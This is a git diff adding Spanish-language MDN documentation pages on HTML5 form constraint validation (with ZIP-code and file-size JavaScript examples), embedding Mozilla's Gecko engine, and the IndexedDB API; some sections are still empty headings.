+ <li>Eligiendo el valor semánticamente más apropiado para el atributo {{ htmlattrxref("type", "input") }} del elemento {{ HTMLElement("input") }}, por ejemplo, elegir el tipo <span style="font-family: courier new;">email</span> creará automáticamente la restricción para verificar que el valor sea una dirección de correo electrónico válida.</li>
+ <li>Estableciendo valores a los atributos de validación, permitiendo que se describan restricciones básicas de manera simple, sin la necesidad de JavaScript.</li>
+</ul>
+
+<h3 id="Tipos_de_captura_semánticos">Tipos de captura semánticos</h3>
+
+<p>Las restricciones intrínsecas para el atributo {{ htmlattrxref("type", "input") }} son:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Tipo de input</th>
+   <th scope="col">Descripción</th>
+   <th scope="col">Incumplimiento asociado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><span style="font-family: courier new;">&lt;input type="URL"&gt;</span></td>
+   <td>El valor debe ser una URL absoluta, es decir, una de las siguientes:
+    <ul>
+     <li>una URI válida (como se define en <a class="external" href="http://www.ietf.org/rfc/rfc3986.txt" title="http://www.ietf.org/rfc/rfc3986.txt">RFC 3986</a>)</li>
+     <li>una IRI válida, sin un componente de query (como se define en <a class="external" href="http://www.ietf.org/rfc/rfc3987.txt" title="http://www.ietf.org/rfc/rfc3987.txt">RFC 3987</a>)</li>
+     <li>una IRI válida, con componente de query sin caracteres no ASCII sin escapar (como se define en <a class="external" href="http://www.ietf.org/rfc/rfc3987.txt" title="http://www.ietf.org/rfc/rfc3987.txt">RFC 3987</a>)</li>
+     <li>una IRI válida, y que el conjunto de caracteres para el documento sea UTF-8 o UTF-16 (como se define en <a class="external" href="http://www.ietf.org/rfc/rfc3987.txt" title="http://www.ietf.org/rfc/rfc3987.txt">RFC 3987</a>)</li>
+    </ul>
+   </td>
+   <td>Incumplimiento de restricción por <strong>tipo no coincidente (Type mismatch)</strong></td>
+  </tr>
+  <tr>
+   <td> <span style="font-family: courier new;">&lt;input type="email"&gt;</span></td>
+   <td>El valor debe obedecer a la producción <a class="external" href="http://www.ietf.org/rfc/std/std68.txt" title="http://www.ietf.org/rfc/std/std68.txt">ABNF</a>: <code>1*( atext / "." ) "@" ldh-str 1*( "." ldh-str )</code> donde:
+    <ul>
+     <li><code>atext</code> está definido en  <a class="external" href="http://tools.ietf.org/html/rfc5322" title="http://tools.ietf.org/html/rfc5322">RFC 5322</a>, y representa una letra US-ASCII (<span style="font-family: courier new;">A</span>-<span style="font-family: courier new;">Z</span> y <span style="font-family: courier new;">a</span>-<span style="font-family: courier new;">z</span>), un dígito (<span style="font-family: courier new;">0</span>-<span style="font-family: courier new;">9</span>) o uno de los siguientes caracteres especiales: <span style="font-family: courier new;">! # $ % &amp; ' * + - / = ? ` { } | ~</span>,</li>
+     <li><code>ldh-str</code> está definido en <a class="external" href="http://www.apps.ietf.org/rfc/rfc1034.html#sec-3.5" title="http://www.apps.ietf.org/rfc/rfc1034.html#sec-3.5">RFC 1034</a>, y representa letras US-ASCII, combinadas con dígitos y el símbolo <span style="font-family: courier new;">-</span> agrupados en palabras separadas por un punto (<span style="font-family: courier new;">.</span>).</li>
+    </ul>
+
+    <div class="note"><strong>Nota:</strong> si se estableció el atributo {{ htmlattrxref("multiple", "input") }}, se pueden definir distintas direcciones de correo, separadas por coma, para este control. Si cualquiera de ellas no satisface la condición descrita aquí, se ejecuta el incumplimiento de restricción por <strong>tipo no coincidente</strong>.</div>
+   </td>
+   <td>Incumplimiento de restricción por <strong>tipo no coincidente (Type mismatch)</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Nótese que la mayoría de los tipos de input no tienen restricciones intrínsecas, puesto que algunos simplemente son excluidos de la validación de restricciones, o tienen un algoritmo de sanitización que transforma los valores incorrectos a uno valor correcto predeterminado. </p>
+
+<h3 id="Atributos_relacionados_con_validaciones">Atributos relacionados con validaciones</h3>
+
+<p>Los siguientes atributos son usados para describir restricciones básicas:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Atributo</th>
+   <th scope="col">Tipos de input que soportan el atributo</th>
+   <th scope="col">Valores posibles</th>
+   <th scope="col">Descripción</th>
+   <th scope="col">Incumplimiento asociado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ htmlattrxref("pattern", "input") }}</td>
+   <td>text, search, url, tel, email, password</td>
+   <td>Una expresión regular de JavaScript (compilada con las banderas <code title="">global</code>, <code title="">ignoreCase</code>, y <code title="">multiline</code> de ECMAScript 5 <em>desabilitadas</em>)</td>
+   <td>El valor debe coincidir con el patrón.</td>
+   <td>Incumplimiento de restricción por <strong>incompatibilidad de patrones (Pattern mismatch)</strong></td>
+  </tr>
+  <tr>
+   <td rowspan="3">{{ htmlattrxref("min", "input") }}</td>
+   <td>range, number</td>
+   <td>Un número válido</td>
+   <td rowspan="3">El valor debe ser mayor o igual al de este atributo.</td>
+   <td rowspan="3">Incumplimiento de restricción por <strong>flujo insuficiente (Underflow)</strong></td>
+  </tr>
+  <tr>
+   <td>date, month, week</td>
+   <td>Una fecha válida</td>
+  </tr>
+  <tr>
+   <td>datetime, datetime-local, time</td>
+   <td>Una fecha y hora válidos</td>
+  </tr>
+  <tr>
+   <td rowspan="3">{{ htmlattrxref("max", "input") }}</td>
+   <td>range, number</td>
+   <td>Un número válido</td>
+   <td rowspan="3">El valor debe ser menor o igual al de este atributo</td>
+   <td rowspan="3">Incumplimiento de restricción por <strong>desborde (Overflow)</strong></td>
+  </tr>
+  <tr>
+   <td>date, month, week</td>
+   <td>Una fecha válida</td>
+  </tr>
+  <tr>
+   <td>datetime, datetime-local, time</td>
+   <td>Una fecha y hora válidos</td>
+  </tr>
+  <tr>
+   <td>{{ htmlattrxref("required", "input") }}</td>
+   <td>text, search, url, tel, email, password, date, datetime, datetime-local, month, week, time, number, checkbox, radio, file; también en los elementos {{ HTMLElement("select") }} y {{ HTMLElement("textarea") }}</td>
+   <td><em>ninguno</em>, pues éste es un atributo de tipo Boolean: su presencia representa <em>true</em>, y su ausencia representa <em>false</em></td>
+   <td>Debe tener un valor (si se establece).</td>
+   <td>Incumplimiento de restricción por<strong> ausencia (Missing)</strong></td>
+  </tr>
+  <tr>
+   <td rowspan="5">{{ htmlattrxref("step", "input") }}</td>
+   <td>date</td>
+   <td>Un número entero de días</td>
+   <td rowspan="5">A menos que se establezca el atributo con la literal <span style="font-family: courier new;">any</span>, el valor debe ser <strong>min</strong> + un enter múltiplo del valor de este atributo.</td>
+   <td rowspan="5">Incumplimiento de restricción por<strong> inconsistencia de paso (Step mismatch)</strong></td>
+  </tr>
+  <tr>
+   <td>month</td>
+   <td>Un número entero de meses</td>
+  </tr>
+  <tr>
+   <td>week</td>
+   <td>Un número entero de semanas</td>
+  </tr>
+  <tr>
+   <td>datetime, datetime-local, time</td>
+   <td>Un número entero de segundos</td>
+  </tr>
+  <tr>
+   <td>range, number</td>
+   <td>Un entero</td>
+  </tr>
+  <tr>
+   <td>{{ htmlattrxref("maxlength", "input") }}</td>
+   <td>text, search, url, tel, email, password; también en el elemento {{ HTMLElement("textarea") }}</td>
+   <td>Una longitud en enteros</td>
+   <td>El número de caracteres (puntos de código) no debe exceder el valor del atributo.</td>
+   <td>Incumplimiento de restricción por ser<strong> muy largo (Too long)</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Proceso_de_validación_de_restricciones"><span class="author-g-by4vjwmiwjiydpj7">Proceso de validación de restricciones</span></h2>
+
+<p>La validación de restricciones se hace a través de la API de Validación de Restricciones, ya sea en un elemento de formulario individual o a nivel de formulario, en el elemento {{ HTMLElement("form") }} mismo. La validación de restricciones se hace de las siguientes maneras:</p>
+
+<ul>
+ <li>Invocando a la función <code>checkValidity()</code> de una interfaz <a href="/es/docs/DOM" title="en/DOM">DOM</a> relacionada con formas (<code><a href="/es/docs/Web/API/HTMLInputElement" title="en/DOM/HTMLInputElement">HTMLInputElement</a></code>, <code><a href="/es/docs/Web/API/HTMLSelectElement" title="en/DOM/HTMLSelectElement">HTMLSelectElement</a></code>, <code><a href="/es/docs/Web/API/HTMLButtonElement" title="en/DOM/HTMLButtonElement">HTMLButtonElement</a></code> o <code><a href="/es/docs/Web/API/HTMLTextAreaElement" title="en/DOM/HTMLTextAreaElement">HTMLTextAreaElement</a></code>), la cual evalúa las restricciones para este elemento únicamente, permitiendo que un script obtenga esta información. (Esto lo hace comúnmente el agente usuario cuando determina cuál de las pseudo-clases <a href="/es/docs/Web/CSS" title="en/CSS">CSS</a>, {{ Cssxref(":valid") }} o {{ Cssxref(":invalid") }}, se aplicará.)</li>
+ <li>Invocando a la función <code>checkValidity()</code> en la interfaz <code><a href="/es/docs/Web/API/HTMLFormElement" title="en/DOM/HTMLFormElement">HTMLFormElement</a></code>, llamada <em>validación estática de restricciones</em>.</li>
+ <li>Enviando el formulario en sí, llamado <em>validación interactiva de restricciones</em>.</li>
+</ul>
+
+<div class="note"><strong>Nota: </strong>
+
+<ul>
+ <li>Si se establece el atributo {{ htmlattrxref("novalidate", "form") }} en el elemento {{ HTMLElement("form") }}, la validación interactiva de las restricciones no se aplica.</li>
+ <li>Invocando al método <code>send()</code> en la interfaz <a href="/es/docs/Web/API/HTMLFormElement" title="en/DOM/HTMLFormElement">HTMLFormElement</a> no invoca a la validación de restricciones. en otras palabras, este método envía los datos del formulario al servidor aunque no se satisfagan las restricciones.</li>
+</ul>
+</div>
+
+<h2 id="Restricciones_complejas_usando_la_API_de_Restricciones_de_HTML5"><span class="author-g-by4vjwmiwjiydpj7">Restricciones complejas usando la API de Restricciones de HTML5</span></h2>
+
+<p><span class="author-g-by4vjwmiwjiydpj7">Usando JavaScript y la API de Restricciones, es posible implementar restricciones más complejas, por ejemplo, restricciones que combinen varios campos, o que involucren cálculos complejos.</span></p>
+
+<p><span class="author-g-by4vjwmiwjiydpj7">Básicamente, la idea es ejecutar JavaScript en un evento de algún campo del formulario (como <strong>onchange</strong>) para calcular si la restricción no se cumple, y entonces usar el método <code><em>field</em>.setCustomValidity()</code> para establecer el resultado de la validación: una cadena vacía significa que la restricción se satisfizo, y cualquier otro texto significa que hay un error, siendo el texto el mensaje que se mostrará al usuario.</span></p>
+
+<h3 id="Restricciones_que_combinan_varios_campos_Validación_de_código_postal">Restricciones que combinan varios campos: Validación de código postal</h3>
+
+<p>El formato de código postal varía de un país a otro. No sólo la mayoría de los países permiten un prefijo opcional con el código del país (como <code>D-</code> en Alemania, <code>F-</code> en Francia o Suiza), sino que algunos países tienen códigos postales con solamente un número fijo de dígitos; otros, como el Reino Unido, tienen estructuras más complejas, permitiendo letras en posiciones específicas.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Esto no es una guía completa para una biblioteca de validación de código postal, sino más bien una demostración de conceptos clave.</p>
+</div>
+
+<p><span style="line-height: 1.5;">Como un ejemplo, añadiremos un script que verificará la validación de restricciones en este formulario simple:</span></p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+    &lt;label for="ZIP"&gt;Código postal : &lt;/label&gt;
+    &lt;input type="text" id="ZIP"&gt;
+    &lt;label for="Country"&gt;País : &lt;/label&gt;
+    &lt;select id="Country"&gt;
+      &lt;option value="ch"&gt;Suiza&lt;/option&gt;
+      &lt;option value="fr"&gt;Francia&lt;/option&gt;
+      &lt;option value="de"&gt;Alemania&lt;/option&gt;
+      &lt;option value="nl"&gt;Países Bajos&lt;/option&gt;
+    &lt;/select&gt;
+    &lt;input type="submit" value="Validar"&gt;
+&lt;/form&gt;</pre>
+
+<p>Esto mostrará el siguiente formulario: </p>
+
+<p><label>Código Postal : </label><input> <label>Country: </label><select><option value="ch">Suiza</option><option value="fr">Francia</option><option value="de">Alemania</option><option value="nl">Países Bajos</option></select></p>
+
+<p>Primero, escribimos una función que revisará las restricciones en sí:</p>
+
+<pre class="brush: js notranslate">function checkZIP() {
+  // Para cada país, se define el patrón para el código postal
+  var constraints = {
+    ch : [ '^(CH-)?\\d{4}$', "El código postal de Suiza debe tener cuatro dígitos: p.ej. CH-1950 o 1950" ],
+    fr : [ '^(F-)?\\d{5}$' , "El código postal de Francia debe tener cinco dígitos: p.ej. F-75012 o 75012" ],
+    de : [ '^(D-)?\\d{5}$' , "El código postal de Alemania debe tener cinco dígitos: p-ej. D-12345 o 12345" ],
+    nl : [ '^(NL-)?\\d{4}\\s*([A-RT-Z][A-Z]|S[BCE-RT-Z])$',
+                    "El código postal de Países Bajos debe tener cuatro dígitos, seguidos de dos letras excepto SA, SD y SS" ]
+  };
+
+  // Se lee el ID del país
+  var country = document.getElementById("Country").value;
+
+  // Se obtiene el campo del código postal
+  var ZIPField = document.getElementById("ZIP");
+
+  // Se crea el validador de la restricción
+  var constraint = new RegExp(constraints[country][0], "");
+    console.log(constraint);
+
+
+  // ¡Se hace la revisión!
+  if (constraint.test(ZIPField.value)) {
+    // El código postal cumple la restricción, usamos la API de Restricciones para indicarlo
+    ZIPField.setCustomValidity("");
+  }
+  else {
+    // El código postal no cumple la restricción, usamos la API de Restricciones para
+    // dar un mensaje sobre el formato requerido para este país
+    ZIPField.setCustomValidity(constraints[country][1]);
+  }
+}
+</pre>
+
+<p>Entonces, enlazamos este código al evento <strong>onchange</strong> del elemento {{ HTMLElement("select") }} y al evento <strong>oninput</strong> del elemento {{ HTMLElement("input") }}:</p>
+
+<pre class="brush: js notranslate">window.onload = function () {
+    document.getElementById("Country").onchange = checkZIP;
+    document.getElementById("ZIP").oninput = checkZIP;
+}</pre>
+
+<p>Puedes ver <a href="/@api/deki/files/4744/=constraint.html" title="https://developer.mozilla.org/@api/deki/files/4744/=constraint.html">aquí un ejemplo en vivo</a> de la validación de código postal.</p>
+
+<h3 id="Limitando_el_tamaño_de_un_archivo_antes_de_ser_subido">Limitando el tamaño de un archivo antes de ser subido</h3>
+
+<p>Otra restricción común es limitar el tamaño de un archivo que será subido. Verificar esto de lado del cliente antes de que el archivo sea transmitido al servidor requiere combinar la API de Validación de Restricciones, y especialmente la función field.setCustomValidity(), con otra API de JavaScript, la File API.</p>
+
+<p>Aquí está la parte de HTML:</p>
+
+<pre class="brush: html notranslate">&lt;label for="FS"&gt;Selecciona un archivo menor a 75KB : &lt;/label&gt;
+&lt;input type="file" id="FS"&gt;</pre>
+
+<p>Esto muestra lo siguiente:</p>
+
+<p><label>Seleciona un archivo menor a 75KB : </label> <input></p>
+
+
+
+<p>Con JavaScript, leemos el archivo seleccionado, usamos el método File.size() para obtener su tamaño, lo comparamos con el límite fijo (hard coded), y llamamos a la API de Validación de Restricciones para informar al navegador si no se cumple la restricción:</p>
+
+<pre class="brush: js notranslate">function checkFileSize() {
+  var FS = document.getElementById("FS");
+  var files = FS.files;
+
+  // Si hay (por lo menos) un archivo seleccionado
+  if (files.length &gt; 0) {
+     if (files[0].size &gt; 75 * 1024) { // Validar la restricción
+       FS.setCustomValidity("El archivo seleccionado no debe ser mayor a 75KB");
+       return;
+     }
+  }
+  // No hay incumplimiento de la restricción
+  FS.setCustomValidity("");
+}</pre>
+
+
+
+<p>Finalmente, anclamos el método al evento requerido:</p>
+
+<pre class="brush: js notranslate">window.onload = function () {
+  document.getElementById("FS").onchange = checkFileSize;
+}</pre>
+
+<p>Puedes ver <a href="/@api/deki/files/4745/=fileconstraint.html" title="https://developer.mozilla.org/@api/deki/files/4745/=fileconstraint.html">aquí un ejemplo en vivo</a> de la validación de tamaño de archivos.</p>
+
+<h2 id="Estilos_visuales_de_validación_de_restricciones"><span class="author-g-by4vjwmiwjiydpj7">Estilos visuales de validación de restricciones</span></h2>
+
+<p>Aparte de establecer las restricciones, los desarrolladores web querrán controlar los mensajes que son desplegados al usuario y los estilos de los mismos.</p>
+
+<h3 id="Controlando_el_aspecto_de_los_elementos">Controlando el aspecto de los elementos</h3>
+
+<p>El aspecto de los elementos puede ser controlado por medio de pseudo-clases de CSS.</p>
+
+<h4 id="Pseudo-clases_required_y_optional">Pseudo-clases :required y :optional</h4>
+
+<p>Las <a href="/es/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-clases</a> <a href="/en-US/docs/Web/CSS/:required" title=":required"><code>:required</code></a> y <a href="/en-US/docs/Web/CSS/:optional" title=":optional"><code>:optional</code></a> permitene escribir selectores que coincidan con elementos de formulario que tengan el atributo {{ htmlattrxref("required") }} y los que no lo tengan, respectivamente.</p>
+
+<h4 id="Pseudo-clase_-moz-placeholder">Pseudo-clase :-moz-placeholder</h4>
+
+<p>Véase <a href="/es/docs/Web/CSS/::placeholder" title="/en-US/docs/Web/CSS/:-moz-placeholder">::placeholder</a> (experimental).</p>
+
+<h4 id="Pseudo-clases_valid_invalid">Pseudo-clases :valid :invalid</h4>
+
+<p>Las <a href="/es/docs/Web/CSS/Pseudo-classes" title="/en-US/docs/Web/CSS/Pseudo-classes?redirectlocale=en-US&amp;redirectslug=CSS%2FPseudo-classes">pseudo-clases</a> <a href="/en-US/docs/Web/CSS/:valid" title="/en-US/docs/Web/CSS/:valid">:valid</a> e <a href="/en-US/docs/Web/CSS/:invalid" title="/en-US/docs/Web/CSS/:invalid?redirectlocale=en-US&amp;redirectslug=CSS%2F%3Ainvalid">:invalid</a> son usadas para representar elementos &lt;input&gt; cuyo contenido es válido o inválido, respectivamente, acorde a las configuraciones de captura. Estas clases permiten al usuario estilizar elementos de formulario válidos e inválidos, para hacer más fácil el identificar elementos que tienen valores correctos o incorrectos.</p>
+
+<h4 id="Estilos_predeterminados">Estilos predeterminados</h4>
+
+<h3 id="Controlando_el_texto_de_incumplimiento_de_restricciones">Controlando el texto de incumplimiento de restricciones</h3>
+
+<h4 id="El_atributo_x-moz-errormessage">El atributo x-moz-errormessage</h4>
+
+<p>El atributo x-moz-errormessage es una extensión de Mozilla que te permite especificar el mensaje de error que se mostrará cuando un campo no es validado exitosamente.</p>
+
+<div class="note">
+<p style="margin-left: 40px;">Nota: Esta extensión no es estándar.</p>
+</div>
+
+<h4 id="element.setCustomValidity_de_la_API_de_Validación_de_Restricciones">element.setCustomValidity() de la API de Validación de Restricciones</h4>
+
+<p>El método element.setCustomValidity(error) es usado para establecer un mensaje de error personalizado para mostrar cuando el formulario es enviado. El método toma una cadena de texto como parámetro con el error. Si el error es una cadena no vacía, el método asume que la validación no fue exitosa, y despliega el mensaje con el error indicado. Si el error es una cadena vacía, el elemento es considerado válido, y restablece el mensaje de error.</p>
+
+<h4 id="Objeto_ValidityState_de_la_API_de_Validación_de_Restricciones"><span class="author-g-by4vjwmiwjiydpj7">Objeto ValidityState</span> de la API de Validación de Restricciones</h4>
+
+<p>La interfaz de DOM <code><a href="/es/docs/Web/API/ValidityState">ValidityState</a></code><a href="/es/docs/Web/API/ValidityState"> </a>representa los <em>estados de validez</em> en los que puede estar un elemento, respecto a la validación de restricciones. En conjunto, ayudan a explicar por qué el valor de un elemento falló en la validación, si no es válido.</p>
+
+<h3 id="Examples_of_personalized_styling"><span class="author-g-by4vjwmiwjiydpj7">Examples of personalized styling</span></h3>
+
+<h3 id="HTML4_fallback"><span class="author-g-by4vjwmiwjiydpj7">HTML4 fallback</span></h3>
+
+<h4 id="Trivial_fallback"><span class="author-g-by4vjwmiwjiydpj7">Trivial fallback</span></h4>
+
+<h4 id="JS_fallback"><span class="author-g-by4vjwmiwjiydpj7">JS fallback</span></h4>
+
+<h2 id="Conclusión"><span class="author-g-by4vjwmiwjiydpj7">Conclusión</span></h2>
diff --git a/files/es/incrustando_mozilla/comunidad/index.html b/files/es/incrustando_mozilla/comunidad/index.html
new file mode 100644
index 0000000000..70853c59a3
--- /dev/null
+++ b/files/es/incrustando_mozilla/comunidad/index.html
@@ -0,0 +1,7 @@
+---
+title: Comunidad
+slug: Incrustando_Mozilla/Comunidad
+---
+<p>este comentario considero esta fuera dl tema pero queria saber  si hay proceso para instala firefox os en iphone</p>
+
+<p> </p>
diff --git a/files/es/incrustando_mozilla/index.html b/files/es/incrustando_mozilla/index.html
new file mode 100644
index 0000000000..eafc681878
--- /dev/null
+++ b/files/es/incrustando_mozilla/index.html
@@ -0,0 +1,47 @@
+---
+title: Incrustando Mozilla
+slug: Incrustando_Mozilla
+tags:
+  - Incrustando_Mozilla
+  - Todas_las_Categorías
+translation_of: Mozilla/Gecko/Embedding_Mozilla
+---
+<p>
+</p>
+<div>
+<p><a href="es/Gecko">Gecko</a> permite a desarrolladores externos usar la misma tecnologia que encontramos en Mozilla. Eso quiere decir que puedes incluir un navegador dentro de una aplicacion externa, abrir canales y salidas a traves de la red, usando <a href="es/DOM">DOM</a> y demás. Incluso puedes construir una nueva aplicacion entera usando el chrome.
+</p>
+</div>
+<table class="topicpage-table"> <tbody><tr> <td>
+<h4 id="Incrustando_Mozilla" name="Incrustando_Mozilla"> <a>Incrustando Mozilla</a> </h4>
+<dl><dt> <a href="es/FAQ_Incrustando_Mozilla">FAQ Incrustando Mozilla</a>
+</dt><dd> <small>Una gran cantidad de preguntas frecuentes sobre incrustar Mozilla.</small>
+</dd><dt> <a class="external" href="http://www.mozilla.org/projects/embedding/embedoverview/EmbeddingBasics.html">Fundamentos para incrustar Gecko (en)</a><br>
+</dt><dd> <small>Debido a la creciente importacia de la Web como fuente de informacion, entretenimiento, y contacto personal, la habilidad de acceder y ver datos guardados en formato HTML se esta haciendo mas y mas importante para una amplia variedad de diferentes aplicaciones. Incrustar Gecko, el motor de renderizado de los navegadores Netscape y Mozilla, es una solución sobresaliente para este problema.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.mozilla.org/projects/embedding/howto/index.html">Usa tu propio navegador - Como incrustar</a><br>
+</dt><dd> <small>Una rapida introducción para incrustar Mozilla.</small>
+</dd></dl>
+<dl><dt> <a href="es/Incrustando_el_Editor">Incrustando el Editor</a><br>
+</dt><dd> <small>Este documento relata es estado actual de la incrustación del editor, problemas con las implementaciones existentes, algunos casos de incrustacion a los que tendremos que hacer frente, y una solucion para incrustarlo en esos casos.</small>
+</dd></dl>
+<p><span class="alllinks"><a>Ver Todo...</a></span>
+</p>
+</td> <td>
+<h4 id="Comunidad" name="Comunidad"> Comunidad </h4>
+<ul><li> En la comunidad Mozilla... en inglés
+</li></ul>
+<p>{{ DiscussionList("dev-embedding", "mozilla.dev.embedding") }}
+</p><p><span class="alllinks"><a href="es/Incrustando_Mozilla/Comunidad">Ver Todo...</a></span>
+</p><p><br>
+</p>
+<h4 id="Temas_Relacionados" name="Temas_Relacionados"> Temas Relacionados </h4>
+<dl><dd> <a href="es/Gecko">Gecko</a>, <a href="es/XPCOM">XPCOM</a>
+</dd></dl>
+<p><br>
+</p>
+</td> </tr> </tbody></table>
+<p><span class="comment">Categorías</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>{{ languages( { "en": "en/Embedding_Mozilla", "fr": "fr/Mozilla_embarqu\u00e9", "ja": "ja/Embedding_Mozilla", "ko": "ko/Embedding_Mozilla", "pl": "pl/Zagnie\u017cd\u017canie_Mozilli", "zh-cn": "cn/Embedding_Mozilla" } ) }}
diff --git a/files/es/indexeddb/index.html b/files/es/indexeddb/index.html
new file mode 100644
index 0000000000..91e216833a
--- /dev/null
+++ b/files/es/indexeddb/index.html
@@ -0,0 +1,145 @@
+---
+title: IndexedDB
+slug: IndexedDB
+tags:
+  - páginas_a_traducir
+---
+<p>{{ SeeCompatTable() }}</p>
+
+<p>IndexedDB es una API del lado del cliente, para el almacenamiento de grandes cantidades de datos estructurados y para búsquedas de alto rendimiento en esos datos, usando índices. Mientras <a href="/en-US/docs/DOM/Storage" title="en-US/docs/DOM/Storage">DOM Storage</a> es útil para el almacenamiento de pequeñas cantidades de datos, no es útil para almacenar grandes cantidades de datos estructurados. IndexedDB proporciona una solución.</p>
+
+<p>Esta página es básicamente el punto de entrada para la descripción técnica de los objetos de la API. Si necesita algo elemental, debería consultar ;<a href="/en-US/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB" title="/en-US/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB">Conceptos básicos acerca de IndexedDB</a>. Para más detalles, vea <a href="https://developer.mozilla.org/en-US/docs/IndexedDB/Using_IndexedDB" title="https://developer.mozilla.org/en-US/docs/IndexedDB/Using_IndexedDB">Usando IndexedDB</a>.</p>
+
+<p>IndexedDB provee APIs separados para un acceso síncrono o asíncrono. El API síncrono está destinado a ser usado únicamente dentro de <a href="/en-US/docs/DOM/Worker" title="Worker">Web Workers</a>, pero no será implementado aún por cualquier navegador. El API asíncrono trabaja con o sin Web Workers.</p>
+
+<h2 id="API_Asíncrono">API Asíncrono</h2>
+
+<p>Los métodos del API Asíncrono, retornan sin bloquear el hilo de llamada. Para obtener un acceso asíncrono a la base de datos, use <code><a href="/en-US/docs/IndexedDB/IDBFactory#open" title="en-US/docs/IndexedDB/IDBFactory#open">open</a></code>() en el atributo <code><a href="/en-US/docs/IndexedDB/IDBEnvironment#attr_indexedDB" title="en-US/docs/IndexedDB/IDBEnvironment#attr indexedDB">indexedDB</a></code> de un objeto <a href="/en-US/docs/DOM/window" title="en-US/docs/DOM/window">window</a>. Este método retorna un objeto IDBRequest (IDBOpenDBRequest); operaciones asíncronas se comunicarán con la aplicación que llama, disparando eventos en los objetos IDBRequest.</p>
+
+<div class="note">
+<p>Nota: El objeto <code>indexedDB</code> se prefija en las versiones antiguas de los navegadores (propiedad <code>mozIndexedDB</code> para Gecko &lt; 16, <code>webkitIndexedDB</code> en Chrome, y <code>msIndexedDB</code> en IE 10).</p>
+</div>
+
+<ul>
+ <li><a href="/en-US/docs/IndexedDB/IDBFactory" title="en-US/docs/IndexedDB/IDBFactory"><code>IDBFactory</code></a> provee acceso a la base de datos. Esta es la interface implementada por el objeto global <code>indexedDB</code> y es el punto de entrada para la API.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBCursor" title="en-US/docs/IndexedDB/IDBCursor"><code>IDBCursor</code></a> itera sobre los objetos de almacenamiento y de índices.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBCursorWithValue"><code>IDBCursorWithValue</code></a> itera sobre los objetos de almacenamiento y de índices y retorna el valor actual del cursor.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBDatabase" title="en-US/docs/IndexedDB/IDBDatabase"><code>IDBDatabase</code></a> representa una conexión a la base de datos. Es la única manera de realizar una transacción en la base de datos.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBEnvironment" title="en-US/docs/IndexedDB/IDBEnvironment"><code>IDBEnvironment</code></a> provee acceso a la base de datos, desde el lado del cliente. Está implementada por el objeto <a href="/../en-US/docs/DOM/window" rel="internal" title="../en-US/docs/DOM/window">window</a>.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBIndex" title="en-US/docs/IndexedDB/IDBIndex"><code>IDBIndex</code></a> provee acceso a la metadata de un índice.</li>
+ <li><code><a href="/en-US/docs/IndexedDB/IDBKeyRange" title="en-US/docs/IndexedDB/KeyRange">IDBKeyRange</a></code> define un rango de claves.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBObjectStore" title="en-US/docs/IndexedDB/IDBObjectStore"><code>IDBObjectStore</code></a> representa un objeto de almacenamiento.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBOpenDBRequest" title="en-US/docs/IndexedDB/IDBOpenDBRequest"><code>IDBOpenDBRequest</code></a> representa un requerimiento para abrir una base de datos.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBRequest" title="en-US/docs/IndexedDB/IDBRequest"><code>IDBRequest</code></a> provee acceso a los resultados de los requerimientos asíncronos a la base de datos y a los objetos database. Es lo que se obtiene cuando se llama a un método asíncrono.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBTransaction" title="en-US/docs/IndexedDB/IDBTransaction"><code>IDBTransaction</code></a> representa una transacción. Cuando Ud. crea una transacción en la base de datos, especifica el alcance (como a que objetos store desea tener acceso), y determina la clase de acceso (sólo lectura o escritura) que desea tener.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBVersionChangeEvent" title="IDBVersionChangeEvent"><code>IDBVersionChangeEvent</code></a> indica que la versión de la base de datos ha cambiado.</li>
+</ul>
+
+<p>Una versión anterior de la especificación también define estas -ahora removidas- interfaces. Éstas son documentadas todavía, en caso de que necesite actualizar código escrito previamente:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/IndexedDB/IDBVersionChangeRequest" title="https://developer.mozilla.org/en-US/docs/IndexedDB/IDBVersionChangeRequest">IDBVersionChangeRequest</a></code> representa una solicitud para cambiar la versión de una base de datos. La manera de cambiar la versión de la base de datos ahora es diferente (llamando <a href="/en-US/docs/IndexedDB/IDBFactory#open" title="en-US/docs/IndexedDB/IDBFactory#open"><code>IDBFactory.open()</code></a> sin llamar también a <a href="/en-US/docs/IndexedDB/IDBDatabase#setVersion()" title="en-US/docs/IndexedDB/IDBDatabase#setVersion()"><code>IDBDatabase.setVersion()</code></a>), y la interfaz <a href="/en-US/docs/IndexedDB/IDBOpenDBRequest" title="en-US/docs/IndexedDB/IDBOpenDBRequest"><code>IDBOpenDBRequest</code></a> tiene ahora la funcionalidad de la eliminada <code>IDBVersionChangeRequest</code>.</li>
+ <li><code><a href="/en-US/docs/IndexedDB/IDBDatabaseException" title="en-US/docs/IndexedDB/DatabaseException">IDBDatabaseException </a></code> {{ obsolete_inline() }} representa las condiciones de excepción que se pueden encontrar mientras se ejecutan operaciones en la base de datos.</li>
+</ul>
+
+<p>Hay también una <a href="/en-US/docs/IndexedDB/Syncronous_API" title="/en-US/docs/IndexedDB/SyncronousAPI">versión sincrónica de la API</a>. La API síncrona no ha sido implementada en cualquier navegador. Está destinada a ser usada con <a href="/en-US/docs/DOM/Using_web_workers" title="https://developer.mozilla.org/en-US/docs/Using_web_workers">WebWorkers</a>.</p>
+
